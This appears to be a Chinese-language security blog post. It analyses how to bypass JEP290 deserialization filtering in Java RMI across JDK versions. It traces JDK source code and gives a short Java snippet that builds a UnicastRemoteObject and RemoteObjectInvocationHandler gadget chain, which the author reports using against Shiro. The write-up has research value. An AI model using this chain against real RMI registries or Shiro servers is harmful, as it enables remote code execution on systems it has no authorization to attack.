前言

之前在8u281版本上使用JRMPClient的利用链时,反序列化JRMPListener传输过来的数据时失败了,然后找到了相关的文章,学习学习。


JEP290

JEP290用于过滤输入的序列化数据,缓解反序列化攻击,按照参考文章的说法:

1、提供一个限制反序列化类的机制,白名单或者黑名单。
2、限制反序列化的深度和复杂度。
3、为RMI远程调用对象提供了一个验证类的机制。
4、定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器。

简单来说就是给反序列化做了个安全检验。JEP290本来是JDK9的新特性,但为了安全性之类的理由还将其移植到了早期版本中,JDK9以下的适用版本为:

Java™ SE Development Kit 8, Update 121 (JDK 8u121)
Java™ SE Development Kit 7, Update 131 (JDK 7u131)
Java™ SE Development Kit 6, Update 141 (JDK 6u141)

攻击手法

以前学习过这个问题,主要分为三个版本段来操作。

攻击低版本注册中心(<8u121)

没有白名单,直接打。

攻击中版本注册中心(>=8u121,<8u231)

用ysoserial的JRMPClient绕过白名单来打。

攻击中高版本注册中心(>=8u231,<8u241)

反序列化JRMPClient建立的连接进行的反序列化操作也加上了白名单验证,无法反序列化回传的利用链。JRMPClient反序列化链会经过DGCImpl_Stub类的dirty函数:

StreamRemoteCall var5 = (StreamRemoteCall)this.ref.newCall(this, operations, 1, -669196253586618813L);
var5.setObjectInputFilter(DGCImpl_Stub::leaseFilter);

这里给将过滤函数设置为了DGCImpl_Stub类的leaseFilter函数,在后面执行executeCall函数时会调用getInputStream来获取输入流:

public ObjectInput getInputStream() throws IOException {
    if (this.in == null) {
        Transport.transportLog.log(Log.VERBOSE, "getting input stream");
        this.in = new ConnectionInputStream(this.conn.getInputStream());
        if (this.filter != null) {
            AccessController.doPrivileged(() -> {
                Config.setObjectInputFilter(this.in, this.filter);
                return null;
            });
        }
    }

    return this.in;
}

此时就会将该过滤函数设置到输入流对象中,后面执行反序列化操作时就会通过这个过滤函数进行检查。

所以想要绕过这个过滤函数,就需要找到另一条相似结果的反序列化链,且途中不会经过DGCImpl_Stub类的dirty函数。参考文章中描述了一条新的利用链,通过UnicastRemoteObject类可以触发一个未经安全验证的反序列化操作,其readObject函数如下:

private void readObject(java.io.ObjectInputStream in)
    throws java.io.IOException, java.lang.ClassNotFoundException
{
    in.defaultReadObject();
    reexport();
}

private void reexport() throws RemoteException
{
    if (csf == null && ssf == null) {
        exportObject((Remote) this, port);
    } else {
        exportObject((Remote) this, port, csf, ssf);
    }
}

public static Remote exportObject(Remote obj, int port,
                                  RMIClientSocketFactory csf,
                                  RMIServerSocketFactory ssf)
    throws RemoteException
{

    return exportObject(obj, new UnicastServerRef2(port, csf, ssf));
}

private static Remote exportObject(Remote obj, UnicastServerRef sref)
    throws RemoteException
{
    // if obj extends UnicastRemoteObject, set its ref.
    if (obj instanceof UnicastRemoteObject) {
        ((UnicastRemoteObject) obj).ref = sref;
    }
    return sref.exportObject(obj, null, false);
}

在最后的exportObject函数中,因为第一参数obj为自身且自身不是UnicastRemoteObject的子类,第二参数为新建的UnicastServerRef2对象:

// UnicastServerRef2的构造函数
public UnicastServerRef2(int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) {
    super(new LiveRef(var1, var2, var3));
}
// 父类UnicastServerRef的构造函数
public UnicastServerRef(LiveRef var1) {
    super(var1);
    this.forceStubUse = false;
    this.hashToMethod_Map = null;
    this.methodCallIDCount = new AtomicInteger(0);
    this.filter = null;
}
// 再上级父类UnicastRef的构造函数
public UnicastRef(LiveRef var1) {
    this.ref = var1;
}

最后会将UnicastRemoteObject对象的port、csf、ssf三个属性合并成一个LiveRef对象放入新UnicastServerRef2对象的ref属性中,并会调用UnicastServerRef2类的exportObject函数,该函数来自其父类UnicastServerRef:

public RemoteStub exportObject(Remote var1, Object var2) throws RemoteException {
    this.forceStubUse = true;
    return (RemoteStub)this.exportObject(var1, var2, false);
}

public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
    Class var4 = var1.getClass();

    Remote var5;
    try {
        var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
    } catch (IllegalArgumentException var7) {
        throw new ExportException("remote object implements illegal remote interface", var7);
    }

    if (var5 instanceof RemoteStub) {
        this.setSkeleton(var1);
    }

    Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
    this.ref.exportObject(var6);
    this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
    return var5;
}

这里的ref即LiveRef对象,来到LiveRef类的exportObject函数:

public LiveRef(ObjID var1, Endpoint var2, boolean var3) {
    this.ep = var2;
    this.id = var1;
    this.isLocal = var3;
}

public LiveRef(int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) {
    this(new ObjID(), var1, var2, var3);
}

public LiveRef(ObjID var1, int var2, RMIClientSocketFactory var3, RMIServerSocketFactory var4) {
    this(var1, TCPEndpoint.getLocalEndpoint(var2, var3, var4), true);
}

public void exportObject(Target var1) throws RemoteException {
    this.ep.exportObject(var1);
}

ep是一个用前面UnicastRemoteObject对象的port、csf、ssf三个属性制作的TCPEndpoint对象,其exportObject函数如下:

public void exportObject(Target var1) throws RemoteException {
    this.transport.exportObject(var1);
}

即TCPTransport类的exportObject函数:

public void exportObject(Target var1) throws RemoteException {
    synchronized(this) {
        this.listen();
        ++this.exportCount;
    }
    ...

}

private void listen() throws RemoteException {
    assert Thread.holdsLock(this);

    TCPEndpoint var1 = this.getEndpoint();
    int var2 = var1.getPort();
    if (this.server == null) {
        if (tcpLog.isLoggable(Log.BRIEF)) {
            tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket");
        }

        try {
            this.server = var1.newServerSocket();
            Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new TCPTransport.AcceptLoop(this.server), "TCP Accept-" + var2, true));
            var3.start();
        } 
        ...
    } 
    ...

}

这里会调用TCPEndpoint的newServerSocket函数:

ServerSocket newServerSocket() throws IOException {
    if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
        TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
    }

    Object var1 = this.ssf;
    if (var1 == null) {
        var1 = chooseFactory();
    }

    ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
    if (this.listenPort == 0) {
        setDefaultPort(var2.getLocalPort(), this.csf, this.ssf);
    }

    return var2;
}

可以看到,这里将port作为参数传入调用了ssf属性的createServerSocket函数。

简单找一下,只看到有一个RMISocketFactory类继承了这个RMIServerSocketFactory接口,然而其createServerSocket函数如下:

public abstract ServerSocket createServerSocket(int port)
    throws IOException;

它并没有实现这个函数。但这不代表这里就没有操作余地,像这种视作接口进行函数调用的方式,我们还有另一种选择,那就是动态代理。

存在一个动态代理类RemoteObjectInvocationHandler,其invoke函数如下:

public Object invoke(Object proxy, Method method, Object[] args)
    throws Throwable
{
    ...
        if (method.getDeclaringClass() == Object.class) {
            return invokeObjectMethod(proxy, method, args);
        } else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0 &&
                   !allowFinalizeInvocation) {
            return null; // ignore
        } else {
            return invokeRemoteMethod(proxy, method, args);
        }
}

private Object invokeRemoteMethod(Object proxy,
                                  Method method,
                                  Object[] args)
    throws Exception
{
    try {
        if (!(proxy instanceof Remote)) {
            throw new IllegalArgumentException(
                "proxy not Remote instance");
        }
        return ref.invoke((Remote) proxy, method, args,
                          getMethodHash(method));
    } 
    ...
}

可以看到,如果我们将ref设置为一个UnicastRef对象,就可以调用其invoke函数:


public Object invoke(Remote var1, Method var2, Object[] var3, long var4) throws Exception {
    ...

    Connection var6 = this.ref.getChannel().newConnection();
    StreamRemoteCall var7 = null;
    boolean var8 = true;
    boolean var9 = false;

    Object var11;
    try {
        if (clientRefLog.isLoggable(Log.VERBOSE)) {
            clientRefLog.log(Log.VERBOSE, "opnum = " + var4);
        }

        var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);

        try {
            ObjectOutput var10 = var7.getOutputStream();
            this.marshalCustomCallData(var10);
            var11 = var2.getParameterTypes();

            for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) {
                marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);
            }
        } 
        ...

        var7.executeCall();

        ...
    } 
    ...
}

可以看到,这里同样可以发起一个连接,并且回到了StreamRemoteCall类的executeCall函数,即JRMPClient利用链中客户端反序列化接收到的数据的代码部分。同时由于过程中没有调用setObjectInputFilter的地方,所以也不会触发过滤函数。

接下来就开始测试利用链了,像参考文章那样拼装一下就行了:

String ip = "127.0.0.1";
int port = 1099;
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(ip, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
    RMIServerSocketFactory.class.getClassLoader(), new Class[] {
        RMIServerSocketFactory.class, Remote.class
            }, remoteObjectInvocationHandler);

UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject)Utils.createWithoutConstructor("java.rmi.server.UnicastRemoteObject");
Utils.setField(unicastRemoteObject, "ssf", rmiServerSocketFactory);
Utils.setField(unicastRemoteObject, "ref", ref);

return unicastRemoteObject;

最后顺手给shiro打一发,没问题通了。

攻击高版本注册中心、服务端、客户端(>=8u241)

对RemoteObjectInvocationHandler类的invokeRemoteMethod函数做了修改:

// Verify that the method is declared on an interface that extends Remote
Class<?> decl = method.getDeclaringClass();
if (!Remote.class.isAssignableFrom(decl)) {
    throw new RemoteException("Method is not Remote: " + decl + "::" + method);
}

return ref.invoke((Remote) proxy, method, args,
                  getMethodHash(method));

在调用UnicastRef.invoke之前对代理的函数做了验证,要求声明该函数的类必须继承Remote接口,然而RMIServerSocketFactory接口:

public interface RMIServerSocketFactory {

    /**
     * Create a server socket on the specified port (port 0 indicates
     * an anonymous port).
     * @param  port the port number
     * @return the server socket on the specified port
     * @exception IOException if an I/O error occurs during server socket
     * creation
     * @since 1.2
     */
    public ServerSocket createServerSocket(int port)
        throws IOException;
}

没有继承,所以就通不过,也就无法打通了。

那么该怎么攻击?我不知道啊!


参考文章

https://mp.weixin.qq.com/s/DIgEe2HpwzHcvNM71cKxvg

https://www.anquanke.com/post/id/200860


Web Java JRMP

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

CVE-2020-17523 Shiro认证绕过
shiro-550 1.2.4反序列化漏洞